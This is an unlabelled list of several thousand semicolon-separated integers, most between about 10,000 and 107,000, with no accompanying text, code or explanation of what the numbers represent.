59839;31197;67227;61906;70856;64623;76602;92969;48612;52769;96598;53911;82324;73579;96631;50421;104399;35322;79340;58787;41638;83039;102232;75911;46835;85147;88551;74472;28708;74814;104157;56780;24290;90674;33791;45577;61397;29332;59275;27179;106673;100088;70588;26712;97756;49475;74959;107064;71265;68448;89833;55669;50575;60446;36275;63057;20843;46659;32521;57089;63035;63713;66162;44782;66834;90169;89832;38199;19855;86953;53822;103490;32153;61464;99801;64873;91110;59009;40090;105741;41922;39965;104004;18143;74108;52568;40150;100378;58560;25818;56551;10345;12258;73012;20302;107136;52808;89990;21555;75976;35825;85507;27192;72829;56485;31867;26926;75177;24634;17498;32459;30409;28125;75434;106494;36322;94110;90715;34219;14175;101216;73256;37657;83165;50157;42947;25823;31691;43701;76518;53381;64041;16980;16638;48482;96409;43657;31923;84619;106521;71624;35717;65464;12877;83771;45343;27266;23834;32351;29494;27511;15978;21603;80639;22635;54724;25266;78596;16260;19972;30455;83758;10149;12585;71479;18490;88513;105397;61415;39709;30608;64792;16102;100216;65797;79116;67518;86912;88968;106765;89961;35070;56858;105325;17134;20358;18849;91395;86564;35272;88773;26382;95829;59666;54471;49117;96510;82983;97552;74232;72252;46429;25933;54961;15542;43594;40285;67634;102943;51582;34710;16110;55698;55930;35094;49057;46515;31287;27861;27021;73167;13601;97496;32616;51359;65181;87743;36700;103042;83093;79177;70222;37930;90664;43111;91887;96786;14216;47286;81868;76436;16936;37727;18663;52084;78699;19560;77992;41251;79129;89729;37542;10558;58776;86522;40311;96455;26390;85729;61384;25965;69569;101832;12270;55770;22998;24613;35932;13169;62380;25981;71519;44517;32817;75740;34467;31251;69009;18840;91902;13313;19987;101750;101576;50975;83677;102762;44475;29451;91741;21757;45840;94499;39679;94424;63211;24136;11065;12870;49510;26170;48745;90576;66342;33338;27937;70017;38704;31659;23053;96037;25801;11298;101441;100319;76337;72668;67194;96925;89795;43672;55535;31694;31737;15239;15593;81384;93752;67136;80282;71170;38188;95884;26100;47823;68874;23054;65841;33186;84040;77359;84977;48157;74056;93109;41072;58158;53833;87387;81320;51291;61124;95914;44572;30593;87537;25102;65344;79569;95479;104471;74483;102652;103552;84713;40406;46843;95512;106542;99144;52221;49395;99521;102815;69476;47644;92760;46750;35578;68354;24556;21000;51432;94914;15831;21230;55582;42831;12725;69077;90154;47572;21320;35233;105584;93459;17812;81839;53179;63940;72714;10176;57576;58985;57095;102243;29450;102154;69216;68523;76293;27821;101912;33335;97775;106339;93657;67400;87978;73726;43610;87207;100639;83952;54028;40823;17841;73372;53403;12547;66408;83483;26868;97053;97772;92282;32810;35673;55332;42187;82756;59799;12701;69719;107139;47396;50535;79197;35197;92470;44260;21569;65780;87113;71182;83376;55384;57164;49823;102561;31033;83325;34300;90250;90986;31705;10671;79018;41017;76013;67650;24196;32661;106868;34453;53569;87661;43606;44512;37277;77120;46579;90320;86929;100146;24832;88962;87987;77946;35754;105344;18363;35376;56917;30168;89410;69071;70878;75805;58157;64759;17417;21864;28549;18752;65111;87880;10905;103155;75663;88416;50851;104096;40777;43317;35508;24341;72434;69428;54186;103853;73459;102371;76375;10368;27212;39916;57473;60600;101743;33211;12951;68760;103156;26772;71894;18944;69439;88875;91062;78312;85362;105263;69765;86492;34289;75771;18736;29555;93188;47854;41962;53465;46698;84682;83865;55957;21682;49187;106399;83131;67720;48171;76466;63233;62117;90023;37289;55689;89064;80990;27817;78396;92844;76085;14325;73896;99461;86535;12707;71186;77971;94077;40620;18918;65759;37600;47779;46865;82296;11698;71176;34344;12967;69821;50994;99730;38847;79620;77170;57294;105514;83607;21812;101762;73201;38931;52741;17227;30260;34094;28354;74977;28373;89629;35153;13126;18630;50229;76378;32190;58340;19776;64699;10378;66546;27879;10796;15815;15129;97305;44476;86244;12956;52676;18431;75780;44362;35960;36310;46964;76900;40716;106551;79322;93939;15588;54505;54356;100753;99516;45546;104121;90884;26475;90269;28622;71882;20057;28310;49015;42137;28060;104841;82642;44785;65103;27213;22114;100773;92599;49775;88095;90372;82931;28535;18377;63569;36469;104869;44264;97381;83416;53331;20195;74428;61840;26491;17780;50727;11140;102957;25543;38089;28160;22645;54954;39712;91089;64967;56817;41160;81244;42191;71169;53326;39280;97083;103062;39794;92127;26848;30672;40114;95600;81391;52101;44448;30561;63300;73298;29610;29400;62941;72322;19594;65776;84156;27300;57324;56564;100974;72870;25507;99860;25320;39560;69561;38039;75160;71807;77244;60813;97116;80836;51828;77369;60351;37660;30794;24710;71933;45092;69606;13799;60043;37240;78682;26179;99216;103201;97644;77982;66849;89477;19765;28377;13731;22100;34026;63255;12711;106998;18228;82483;15703;37517;52163;104768;25875;96238;85379;39912;25654;87036;17605;52990;23306;55131;21434;73283;100714;25536;30749;23332;73897;48392;22851;78623;103862;92445;13408;104269;79038;51980;42488;35710;11174;77408;71886;16031;59453;71849;56987;51239;44119;103546;80606;96587;54235;100779;47397;13188;58855;54461;23481;18981;42711;40882;65577;45927;75549;66142;38977;18576;83782;44151;18100;85883;19262;13588;51909;21660;14184;100060;32354;80466;104919;68256;45570;49965;88637;45390;17561;16489;88591;97695;103017;59966;20965;90563;29127;12368;75078;55886;18873;79605;96441;25075;100199;17277;92272;59963;15294;69958;60136;55354;84439;61847;88898;76756;66807;80040;105835;86328;38151;107111;88869;59133;43846;67005;101259;49744;13885;41576;41358;11763;92339;14704;20817;17149;50800;56141;85743;82608;46740;41910;97551;19265;56843;89506;60414;26216;94991;39263;63972;59904;29354;65399;45477;26819;26562;92929;22573;13405;24394;68362;91901;76561;104353;43351;47336;57374;27086;12728;101141;63762;27898;103802;52055;43071;54033;54906;42480;32700;70662;41820;86372;84116;52066;47448;48801;85165;58837;76583;97395;82123;104211;25097;63842;87011;24683;50890;65929;39931;33867;72171;79829;92156;87914;96934;23110;75285;90543;78725;92324;57871;55288;92057;76852;21250;33626;52638;77197;77709;100649;50242;20615;80637;50410;11872;50505;40318;48426;69312;52388;25859;105685;85270;78815;50971;102674;66776;92044;90266;76056;52294;15916;86643;12232;106046;61902;96830;57292;36633;59020;19100;45066;68036;88544;57876;89834;84845;29999;89316;80665;81063;97682;19434;102765;59601;40598;77240;61017;20314;89119;43271;91566;80668;91603;57217;60787;58449;71018;70899;24963;88543;86588;94738;67617;90194;48702;93373;96792;62709;99978;31135;15259;19202;72210;92677;86402;85719;24499;64738;60079;80831;34977;88013;10014;41289;103205;76127;27614;59594;23556;79814;106302;59169;25633;66282;59311;15408;22926;78102;85945;100407;100889;70820;20309;20345;105856;64401;63193;38629;61929;58631;84809;10350;66875;89360;44247;32185;51074;86026;50139;57788;31462;64707;91587;71154;88498;85745;83979;78342;46906;92028;78349;29074;55999;18890;91196;49582;15788;26248;66104;36629;83617;46449;32973;27453;91733;51972;35175;26534;31077;52834;54346;21590;65713;63656;33189;13586;20269;96328;32156;67139;21031;97385;53173;28900;49173;22081;55574;48603;30327;81744;14826;72302;69298;43331;71705;70603;38586;103641;88076;95674;38109;99099;53619;10907;80014;59798;84694;70123;88832;87437;94331;71148;87602;22474;89229;31171;54080;53519;73376;54412;72345;90339;95956;61575;18570;48604;47075;16360;15305;14945;45721;14715;43139;67542;75127;36120;67566;83876;53973;86404;62460;20125;78266;33198;99754;86477;25425;73254;101360;70330;29418;63354;33936;77829;52119;51806;53197;62743;54631;78504;32028;25050;11725;89060;92583;102392;34402;84859;96438;12863;67773;16253;68699;104616;99715;71163;94797;87583;91213;67631;22037;91643;47528;46241;71795;61948;37613;81675;46911;62479;49131;70129;19117;97963;75453;94335;91142;33007;46008;102631;50273;77910;101860;86241;63485;14317;61577;80382;90186;13724;84596;69523;46327;100853;104460;30689;31106;87429;31908;13514;14203;41278;99557;54843;61337;17507;28527;91806;13016;80537;78264;58371;17777;106969;99561;61614;19622;63906;76104;104663;45775;43568;106899;33913;63844;39007;102736;64126;10574;73687;72831;59984;91098;30867;21719;80186;46438;22466;10648;77429;64320;66688;43735;35827;96532;87700;53039;34750;11638;74125;44255;67452;70478;12037;84853;53789;74085;57737;23375;10055;77636;92334;27650;21169;76786;66570;96839;13031;93038;14781;97158;80310;74121;82065;57765;69239;20687;87497;55591;99504;101745;69481;69563;42328;22223;61745;88787;33630;91125;93105;34115;29198;37607;57558;35556;97910;19929;21007;102899;24261;22710;16886;89433;22962;49608;67000;75069;73495;62753;49309;43959;67681;32488;35454;62237;90285;52608;86548;83819;19633;57497;14812;24258;85897;16506;80793;11178;55800;56872;26858;37197;43936;54863;47409;81505;93877;78324;30131;99868;39315;39613;29054;84742;41789;48902;14822;28317;57626;58793;61406;96223;104968;77182;99330;81287;39633;82618;76091;94582;70364;47847;57542;19299;29890;18557;85492;31378;24188;60577;59434;32398;96392;15383;76069;69877;83000;13142;36717;56449;91852;75090;40507;16261;60126;60120;100132;16154;102397;70354;80664;86963;19111;25960;55272;74624;82313;11359;89440;40685;42304;94283;45692;23859;96963;46998;51630;75460;72403;101638;62045;51110;104420;58282;59826;68727;26756;71978;46630;59049;17755;65135;81037;62492;72517;78030;51873;16921;51288;84060;14080;83126;51866;67286;59392;37017;50478;62183;15463;71672;97363;78032;105354;95567;81544;29430;54240;35893;64132;17573;46125;17202;43812;29897;24752;72770;61659;28162;30281;81164;51615;42216;30246;58834;32060;14696;17520;19047;94821;101312;10662;104034;22826;78330;52977;10391;36437;29050;99248;40801;97185;24873;25570;65986;19303;65500;30200;82658;56523;89867;56365;45632;18876;16341;77279;54713;57021;106186;70860;104537;37156;44117;41995;21150;60711;85806;50877;36553;94194;62447;62486;68744;74880;38978;31845;105721;68778;61679;24121;96458;26675;18272;96081;82305;43484;20549;76018;91803;91482;84068;65909;37910;73161;24468;31646;79406;88050;65975;55876;94381;55572;74757;83942;61427;81234;29811;63581;35876;75527;73124;18672;18667;67666;88022;104800;63967;26669;82440;88029;19006;102079;95640;86872;85886;94048;16580;31750;99189;90866;106774;87551;79108;91737;82949;38849;47055;40445;51479;75972;87799;47508;59520;89234;66762;58840;50695;28655;61444;100309;46342;66711;34808;66844;97622;99250;96283;106754;58472;54526;20551;55807;53851;20028;40189;39967;99977;43837;84075;101755;43335;31952;64929;15524;58912;20669;53883;64875;78904;90826;66045;67293;65469;10172;44873;22736;39299;28929;106269;91541;14032;28151;14535;91417;60044;51323;45882;41717;79321;66246;49660;97942;84632;35630;77116;95270;56341;45362;12356;101167;50892;94416;64382;48912;34007;75055;96471;50593;23600;89697;88507;75915;101598;76572;38295;77198;68864;85508;65692;77246;27255;81970;78018;34163;101049;32089;94516;89726;53513;59548;80038;18250;65580;69229;61931;12904;40636;27732;12411;52060;25669;95614;76100;24766;46194;102054;86890;103611;93716;15773;60188;93760;36386;52965;70493;64075;16896;87838;19750;19318;15090;100470;93756;65313;61660;95430;56861;52828;37451;11023;89499;67045;81254;97263;43707;10493;40131;78819;33905;61497;85242;16066;68275;25548;28716;87888;105924;91835;54437;62137;32699;96957;66763;56900;40485;24819;86009;65491;43179;88977;61670;26495;69143;51039;83010;51150;13461;76439;36288;15994;27129;13888;49848;104182;64073;102682;99733;91880;68676;64872;92846;15278;99243;61872;76909;58026;71104;34348;105361;85184;42021;96147;27840;43774;25082;77912;45512;64724;48899;31736;40990;31501;72551;85509;48681;91190;50967;80624;37060;57549;47298;65873;59621;97530;49382;93517;22031;69588;65431;106687;37606;18766;85764;64814;35048;52273;55003;73401;67053;63605;65972;70281;78316;60011;47382;15032;83366;57001;11005;105671;105034;77015;32162;53024;20406;65273;39902;80188;84279;58751;95831;24183;44582;39800;94625;11782;102895;88972;45266;11157;96342;42057;47083;28906;23530;63954;47895;40584;64012;27307;38784;62938;50111;51166;58075;10941;39882;37892;58538;76431;62665;41650;33681;10563;79261;48800;33989;10474;51993;33154;48281;68814;21142;99274;24774;92652;31203;71669;62821;22778;28931;12776;60561;96171;99443;86393;96676;83342;51415;18526;101539;38267;18756;69037;91203;71538;88400;70176;72963;15940;102028;72724;38033;100089;66132;66643;71483;70022;22271;26504;37028;14341;73218;66369;11241;60253;59388;46477;70393;60857;53872;65263;24739;65124;67340;14488;35572;93921;100935;29072;73016;86886;78423;27809;31770;16465;26208;27894;83468;75304;103951;84833;84216;13224;23050;64627;41753;61144;32003;104811;55909;68966;60491;92915;81193;85812;23777;14845;81269;51511;33888;12374;23946;86638;200090;200003;64359;78532;12467;18842;48953;73908;90747;14512;68333;102429;30360;89174;54157;100171;54621;77215;33169;104549;52767;48428;36342;92216;36452;27429;50365;63838;66440;69802;88701;28260;94968;106409;17518;43692;58130;24402;99571;66368;99404;95954;94429;72614;31103;80502;75763;102892;37700;35473;14786;35811;65219;72710;38263;47777;67216;67143;88769;10323;54131;38627;90193;89609;90814;84832;52192;50257;33694;24698;20083;52318;19038;82675;40699;103822;38463;13047;89325;46454;21373;61996;104289;12124;83966;74815;90466;77870;100702;75493;42764;21932;93644;106727;69294;89858;100634;71145;70906;10859;94127;22949;77092;97900;76244;82598;25580;28544;27606;29398;80695;64950;52693;88440;45367;54151;38854;106044;78986;74928;34100;92499;19943;102689;60111;31767;68332;99298;63129;11947;17774;39952;87613;30404;61118;87004;78453;47788;48588;24770;56586;66525;10771;100320;25159;31831;30791;11032;27940;51957;12641;72339;69654;57708;88459;94869;34388;21896;68126;50694;82831;76885;101417;79463;55172;15592;29852;53430;41437;90750;61793;92685;72779;73163;13435;85191;99493;64509;89604;47275;45558;57573;10490;101983;38690;59341;63038;14905;88409;50632;31595;68342;77239;70101;94657;19614;103173;48267;97553;60507;15747;43673;72841;33311;16773;11676;73093;85924;79580;49004;28448;24905;79835;46919;32956;61103;67563;103588;73725;41098;88506;80470;44974;79816;54762;99784;55101;17517;77760;103827;28978;11570;50370;19846;11868;61980;37254;47223;24040;35090;33131;94207;100598;83577;33109;101813;70099;12327;78415;34612;105180;60762;100028;61035;82515;29743;77983;92429;17425;27747;41517;87319;99336;71948;12570;67335;82260;13883;22488;77938;54957;24085;65944;71083;45334;83124;36886;77952;38207;21809;80620;72305;78899;73948;100067;53070;67549;39316;82011;80240;32107;64391;69923;24860;91558;51345;46100;25710;105806;43400;76685;105298;82201;41577;26068;102749;56644;17449;200138;96889;72967;40310;26065;26329;87849;24806;31161;29014;77618;25697;93058;57935;90508;22891;91526;104374;33210;104813;62855;46934;59361;44242;47679;100103;68458;73835;73873;104058;26269;53156;79053;61923;60279;17252;60388;50068;91490;21844;11969;91705;34682;62254;87788;26108;85554;67175;50195;99355;60536;100123;26351;16982;72635;93089;88988;48705;100723;83632;200132;46592;75047;22521;28656;65583;19377;38660;33121;27100;103581;65537;18581;22994;52088;42836;26434;32145;45807;73805;14178;75791;94330;14188;29231;59091;40087;63597;72206;55006;44884;38776;83977;24811;31870;73253;67980;74636;86108;29008;23679;106055;43639;54655;43315;12384;38720;69785;30662;78129;15334;91458;23298;97141;49644;39314;18269;86679;11457;69788;49975;46267;77518;12341;101691;81054;76143;19444;43862;36222;96246;33556;71917;37558;83082;66340;94200;74183;44392;25923;94673;67010;74478;18714;41354;40900;46639;76016;39908;94605;17763;76318;28003;68672;65902;34910;32708;76911;39343;70926;64100;70490;89986;36300;59505;94277;85871;10520;36096;27440;36003;39119;77264;93500;31426;28662;42142;55136;69728;71987;48340;25353;52456;46673;43374;32583;97097;36495;94795;16981;86556;104546;29067;10163;52125;67240;22918;62953;94222;83747;32931;47186;43379;33531;102838;57152;40303;27025;38767;19169;51363;94405;71603;91349;78830;56450;106914;94846;76369;106623;85862;38015;56220;54146;27161;99217;66843;53642;101036;17167;24617;103724;74053;50005;52565;84976;103224;42559;71440;31375;94638;56154;74329;104467;36589;29496;15947;47383;15583;61727;75335;78314;28265;16399;48274;11272;62325;78742;100584;80565;13025;78571;87474;24133;74937;74527;70140;24658;15330;42130;41077;99925;13715;90502;38016;46753;78708;47496;104936;69945;75227;44543;86140;106364;36958;87180;26417;63673;52787;11127;101987;50753;34789;84893;101332;85010;99577;66124;69642;29937;29614;56093;71735;10717;80151;89241;99139;69726;29629;40281;53476;60772;57045;32384;58491;61011;53842;10921;64003;66153;96156;19481;86849;89630;23837;33103;95945;12802;44924;94473;22712;82278;71901;74465;45131;22316;75321;50711;60579;45548;28611;16942;70411;68955;60674;58877;47176;86356;36256;40836;37381;24320;88474;106608;42631;99660;36330;83427;48868;53948;49348;38041;31553;33266;83581;47860;20196;105587;105746;75438;16976;19258;27997;93191;15719;54393;60649;100308;58142;75343;85599;45574;102858;25957;26311;15464;13876;54623;92674;81607;11238;75794;80653;38940;64386;28863;20939;17670;59546;83786;60383;93540;12645;81061;20171;105128;52552;47308;99047;73055;24309;35134;95906;20041;80616;15543;104574;12612;103520;95001;11734;52155;86245;66667;71734;69013;75165;22880;87115;39651;99531;31125;97284;97624;59172;106120;26654;54275;41919;99842;39517;29190;84544;83661;89258;65379;11747;55884;76968;74033;34002;47618;36458;92923;69328;11690;92481;10488;59260;77969;26448;82882;23652;63169;92937;10855;99857;71827;55281;37140;13997;61676;71785;28640;51638;39827;80052;21731;92950;12518;85315;76391;64407;59475;76867;30846;45117;62043;32421;84150;104879;36414;87873;26209;48974;19371;58055;105881;73586;12348;55716;26617;41829;28111;95385;49873;51675;74504;22691;103979;28066;20837;105200;67083;77807;12494;49728;104334;88611;58185;22001;99936;26002;81577;78643;71966;80843;104152;46586;102227;15335;17661;96628;77988;21883;89586;52462;36609;106768;93593;86141;17034;93552;28886;105287;37210;81971;100233;102296;33935;11504;26300;79743;17235;29757;96977;13526;39658;16058;63574;66294;38511;28419;47878;20867;87444;104684;90251;50522;99547;79089;15363;40703;22928;30622;70021;103410;37490;58903;47706;81632;11824;57445;102250;16893;14710;100735;65322;106280;22673;30296;88931;36321;24892;72031;59153;31681;60262;58719;26263;34693;67875;79656;38152;27275;97387;84211;49204;27468;23809;83295;62957;88630;65127;45481;94600;44046;27957;32818;89655;56374;87542;99039;29186;91346;76740;29011;20092;41238;82976;92034;37161;42268;63146;91155;95413;70854;33157;36208;13052;40839;87211;47452;57678;46202;88605;28504;76673;51078;29114;90517;66220;31793;56524;22464;84104;61804;57069;37082;57287;55819;63222;18110;42949;24251;102829;70209;62915;55858;103769;15434;10766;42863;103926;71953;40972;45525;53576;45306;44496;103029;107084;70271;31186;70082;33482;49363;38219;11249;85888;83054;27903;19997;92516;45439;49442;71750;39562;92598;65582;34729;61997;73297;62110;10095;101464;65818;12929;67940;11483;62991;82562;27850;25060;76625;15740;104978;68896;82380;96793;16415;89044;106985;18069;23010;67868;93923;32801;102383;68925;97286;58379;15865;63506;45680;25201;21146;97132;78849;91248;25051;28492;22022;30014;93889;66241;63686;24424;44337;54859;76381;34169;54262;103415;32689;12995;104942;27771;17773;45993;104411;105144;23852;107150;11397;22413;72000;100030;11096;85400;44686;50431;107080;75540;63858;69594;34542;34069;90458;27473;10801;18224;68031;83109;46799;51425;45625;25057;104626;75452;74965;38387;103082;26092;51352;14102;101497;24100;91814;79420;96214;32936;91045;25607;67775;78749;41823;96533;40207;91474;46653;79082;91740;38641;48216;65687;28473;95879;93324;99542;67086;91400;22322;96847;24278;76258;71266;53095;63931;11532;49710;19522;24748;96513;30569;24118;65461;39432;104640;66029;74671;83193;65429;79710;48551;24282;14522;97219;35692;86017;22763;30361;39559;43882;23849;28760;77161;62303;73224;32470;30407;91752;103906;96056;57829;103011;86977;85710;104110;99389;10166;104231;36149;39282;62205;97720;35330;71676;37516;79240;35408;47709;105247;31828;55261;89272;40599;40306;16165;43440;38379;76000;59595;74749;99040;70277;20732;80774;97566;81115;35961;15190;70851;68720;39225;93605;46491;84526;34867;106653;102000;52068;12954;78406;72317;75410;77040;77094;32353;94776;69200;57011;105231;25962;17419;89765;28447;62557;96759;79327;11113;12071;16956;50731;21002;35786;29879;13076;26546;77267;67303;54671;75456;60353;87631;16492;92064;45363;12836;17551;16508;41206;10635;57954;85232;29468;85612;56395;74078;61417;66155;14010;71789;67287;85791;68803;21325;70220;44465;89906;76545;35255;54529;12655;81866;28398;92565;63326;68795;86575;17091;55211;81438;45479;49632;44477;57893;33181;69763;34696;13909;97608;74214;96564;18207;91980;99477;21144;92012;73503;86321;15724;58467;42884;81251;48524;106672;105602;103766;33060;101579;90966;85083;15682;83765;13639;99075;105222;82093;28014;97499;80034;75175;44330;91243;86909;82125;49776;52916;26508;36107;21582;67693;51405;44277;31505;40234;21984;58000;58494;21554;10784;58712;24170;20325;24346;66517;81680;74277;21858;93701;72862;96289;22561;39100;42077;83335;37788;60928;73849;28404;10610;88114;75729;64011;31373;80852;73567;82229;65218;93181;47603;27005;20179;82663;37538;79729;28508;33089;35071;56261;78005;74344;45048;23855;70237;99656;105005;52863;100347;83404;104233;59070;15963;106320;30758;20517;58113;80687;82001;99505;78631;13737;54418;24187;68793;56042;14050;41978;47269;42391;65930;51139;48963;96364;96624;21409;11154;87616;47368;94272;34479;31742;94258;52923;46109;39706;12234;69188;42289;88484;16432;50122;91914;67170;90017;48967;31581;35017;21993;15712;95721;87906;101087;46937;51371;103054;17643;107025;44838;65299;64337;77968;102885;45508;62196;89981;96712;20924;39846;84506;46834;17446;97357;99530;30796;84560;20262;69952;49147;63570;23351;12672;21927;70228;10380;67164;105476;26138;41068;105728;97873;93227;82797;87898;48877;75893;56113;100924;106549;103089;43078;100704;66852;11052;14631;57201;99990;69313;30619;66050;50487;77139;30268;92600;91610;97155;85725;93687;58988;32734;102279;52016;34110;36460;78254;17624;66264;10505;24445;14707;60557;105448;64328;22246;48989;87779;61194;66245;37916;65966;50619;32742;61591;43288;31164;78166;66233;69541;17095;103421;80530;49369;107133;23516;104672;102052;25915;102305;37949;70590;57033;73970;82953;18134;86928;101171;93623;15454;24848;39532;34364;30097;21712;68974;11304;74583;92873;43508;33394;102481;104870;44795;100142;30034;81597;80154;16072;67556;63689;27421;21408;42986;38095;61942;38123;30696;28816;64263;33595;82258;46166;102197;80324;86623;76366;56263;75761;74103;68513;70429;40767;55529;86553;86127;74323;34629;66909;35986;81468;78937;51653;89128;64031;90989;29632;34819;67060;87122;89877;33637;66424;91950;84679;28378;57565;22059;90048;67072;103629;82504;26754;63463;97792;106468;71080;32517;62964;69311;24296;105246;48980;32846;65062;50322;44342;18625;46982;104553;42768;37693;57414;11837;106811;89575;89188;66579;21949;31945;31876;91097;95505;12591;94298;39202;85289;18479;57044;22352;36258;39876;106254;68724;73946;27011;46292;70317;24895;16848;70351;14292;102744;12483;27071;47315;64311;81669;103794;45156;56328;20575;85692;68623;43978;90064;106752;11047;19224;82097;10452;100213;13404;106814;26795;50329;45142;49427;92424;17094;31392;23189;36157;42267;22604;63666;103442;85919;77613;23848;34651;18776;53752;31421;70731;62802;17084;55019;60082;100809;65153;41526;24449;66597;46829;55213;50199;57412;19981;95018;35239;17828;33947;54738;44446;106381;80604;70314;53719;59219;88485;82529;63172;47387;33663;99899;36904;37533;68047;93108;87307;19672;11806;70598;19917;70743;18427;90046;87400;64388;11273;44829;55854;50039;63151;21887;43345;40766;40344;33880;16180;79880;55268;12732;93037;75594;67301;73514;102290;72612;87184;34166;61917;22888;82311;29452;90660;58858;67047;33205;92545;36807;32387;30924;24667;26842;69564;89049;21639;67684;34994;20793;78469;106172;30785;63709;42892;26455;49276;92359;93993;75283;102759;29007;60609;68093;28497;37713;55601;19278;91784;68270;79837;21524;94484;66758;27620;18999;100607;11296;77963;36681;27283;32429;12392;105238;15360;29676;88966;91724;52664;48555;53398;40957;77537;41148;62462;76024;82415;22902;51084;83178;35471;67350;19053;17142;19023;86806;56602;40018;12919;10951;93924;17390;79266;35903;99646;45900;30435;75316;24579;91864;89536;93973;30864;17987;61974;63764;14180;79968;93776;45073;49960;106255;57952;81278;45005;28088;54205;49702;27303;66911;62799;29534;24411;27111;97241;100170;31178;13572;60349;41124;24391;37016;44815;38517;60363;39383;45592;50253;17797;84072;56498;36373;54860;23594;37679;104044;52533;15143;37333;13009;90460;36786;65142;88603;59778;22514;49229;76750;49984;74206;77126;96655;72323;91413;15907;80330;73320;87527;90848;53517;15531;63683;77433;83784;69515;67678;49429;60554;105826;54837;46427;55134;96960;78142;91773;56829;62277;52105;59907;20863;73152;31433;40647;87701;45779;51337;11572;71057;102938;28409;14806;61856;59667;54488;84160;104656;90036;54194;16411;63496;24095;65278;85983;106252;81961;65585;90793;57816;61625;97796;12269;61457;76316;68185;94831;10485;71968;19605;18968;105968;26079;20440;72312;78566;104906;99653;100184;29813;25916;29289;47552;102046;78651;91497;32391;85128;53684;105387;63476;106432;21127;75268;50258;11400;59445;35808;70001;87109;26595;22502;35958;40525;24965;94841;57503;44000;62680;65588;15845;17268;18649;54555;99930;30221;37836;106709;100353;57104;40325;102236;15951;68228;56487;19532;91426;28250;87402;20178;43754;60429;96832;24232;61021;69056;103044;103589;49024;45998;97249;30597;17420;22621;94006;70415;11361;50309;31438;62727;77953;16895;58789;49059;48789;52217;27276;49672;88782;32108;95955;49005;34263;56121;38143;75727;103966;93685;81439;66300;11512;69917;54636;67176;52804;102038;13326;35966;61961;105921;94018;37405;23899;19892;40601;55207;37785;16543;25302;99543;31468;69010;65619;70979;100525;68592;87689;73526;40133;26951;96904;104155;39899;57899;30054;58600;82662;105547;46874;99816;40162;27403;55867;30017;96790;102030;105799;47567;100137;17514;18926;27635;37136;63822;38734;36720;14749;31823;39239;34631;106746;40639;32092;54711;16875;95460;82957;78020;56893;49164;56989;67429;81837;63187;31092;85056;39135;85515;33938;21563;29846;24061;101809;101255;66077;102792;94036;59063;63648;82643;72080;48207;69842;55810;76765;16556;70184;69403;29313;104699;95908;34017;26960;106077;19500;95605;99417;71506;15380;28444;47215;43415;103624;14590;20344;73926;90944;53078;38714;59521;66021;105694;23765;45298;33684;13332;12751;103127;66704;67034;74252;15729;94054;60550;106139;37868;78248;31340;101816;96239;75688;84169;82538;23847;33142;54085;38431;62742;82825;68528;11056;90922;66672;31959;34482;60116;76242;33563;50304;71573;61972;46726;81832;67178;25961;91498;18180;68319;76579;15047;33754;67541;84837;19556;30642;12207;69407;59922;87996;60723;101061;74537;57793;93020;42822;101101;68311;18567;15033;35007;53312;82816;20252;76821;92977;94751;90648;79606;59424;82306;95355;89077;41142;18370;51981;29020;76298;106885;89592;10560;13048;39874;52019;36487;29026;21106;38212;27348;40824;90230;51766;84894;17114;42548;100217;94790;101055;50950;86557;200030;92962;27671;37709;37678;35206;49772;12102;97079;80509;13904;78597;43726;67641;15554;41091;79478;86284;79942;101222;68394;20472;90218;63356;28011;42369;69218;67568;21552;92337;84885;33838;87573;92376;104683;24920;41844;90260;59949;62762;90321;101940;71308;75720;44301;37084;66692;21587;62470;13940;101697;66794;87422;34132;104338;21771;70085;53714;14469;56723;92297;78353;103936;22938;71773;82716;27912;104464;23444;13015;58501;16744;69494;39168;18364;69465;43327;72985;62178;75390;84980;68314;70111;29437;75752;99337;100090;42739;30294;36361;76188;29721;86452;89071;64256;63492;65458;81412;32585;46856;50437;29227;34520;44544;40644;66355;17130;50094;28839;10198;92953;48677;46101;45787;31498;101485;63626;90684;89598;100806;25665;19011;38958;63973;69678;54796;38118;18799;66017;34833;69914;31188;40476;56195;80945;24284;21713;64473;66632;100708;30185;104837;77276;91448;102247;51959;22594;10537;58216;20114;66238;102724;84970;57420;27720;27690;103193;64095;75076;26837;94849;50174;103134;59056;43176;34035;31170;23436;55826;20898;90894;88777;102778;20714;44410;20685;44933;23927;21041;82486;56980;43407;30787;23639;92584;53653;18175;65847;67235;81042;94164;60019;16705;89631;88954;11746;96434;73824;22174;93843;15482;81473;50536;54693;97755;99867;106797;67636;23337;79757;77233;77554;62175;68639;93960;100410;70124;74102;90385;65052;24522;55011;55048;35331;26702;24352;10130;42241;49956;61307;59089;96714;67126;33720;69884;63406;67417;64403;99906;47830;76361;64613;69908;90244;60190;26308;57289;50852;31786;93099;69172;13251;36417;38074;14451;38999;38575;47886;80006;18633;59802;45160;33927;91129;24103;48692;71298;43851;51132;35036;20940;18334;29625;28984;36271;62179;59087;29857;92474;91169;86497;69863;42442;68848;83512;87265;22072;64971;22450;40799;38647;67480;19848;26373;70418;30498;68912;31332;39722;65121;95535;11955;20665;96330;38418;34913;34935;64089;100484;33451;53155;30329;35706;61230;32303;76220;32241;97096;66536;26193;27767;56124;83034;16983;80801;49787;54491;32078;81170;57422;99595;62544;60294;58052;58519;86124;74976;46417;41714;46693;35560;100763;94542;38613;60852;55798;105299;11924;46732;89247;64704;88918;11160;44319;92029;200048;91716;107062;47690;25745;106728;25253;80608;72433;18512;103529;89218;47431;40664;79970;45009;74410;46916;20559;66700;55179;80030;15879;96539;43125;51496;78320;76354;78854;62279;99652;30298;71124;69581;73771;14087;93208;53045;47696;74531;21931;75106;84296;39390;94632;16766;14954;38358;25387;84395;26928;82388;28633;33753;87643;69458;52328;75379;65961;90582;106891;69396;90859;90868;43312;12754;72211;105758;33826;63823;49827;44274;36532;102695;46249;107052;68435;34974;30465;77535;24108;96874;14120;101541;76879;90127;25483;48858;61983;59651;74656;101521;102798;77999;84666;57192;68121;90207;31918;66288;69485;87121;84013;40633;34256;28435;64868;52397;64999;53750;41298;75328;20425;80319;49882;97970;80357;29158;83562;58317;41252;38794;16436;85735;84209;20619;36962;84084;16661;59342;11261;87678;46252;75701;18111;27717;91361;17473;28887;13409;56481;34757;46359;68014;101467;84869;24369;19564;38241;93219;101369;92558;64273;89030;85704;13648;89205;22957;104077;15888;54948;66984;36481;81367;73441;100848;51775;85433;57146;99238;51037;38409;11171;15704;28009;11467;84708;79049;10188;77098;34887;51366;56075;106757;72308;76559;97239;66030;92438;63102;31061;101166;36158;89597;99997;71501;76857;35979;39730;73432;100535;60606;72105;77986;29950;53016;93602;96386;82812;37324;22436;20353;18670;47587;33042;85224;56277;105819;23454;76550;95415;15215;102696;11423;43095;45455;14265;70106;73905;38823;97140;54103;24395;22018;86324;44730;56747;26875;43284;102934;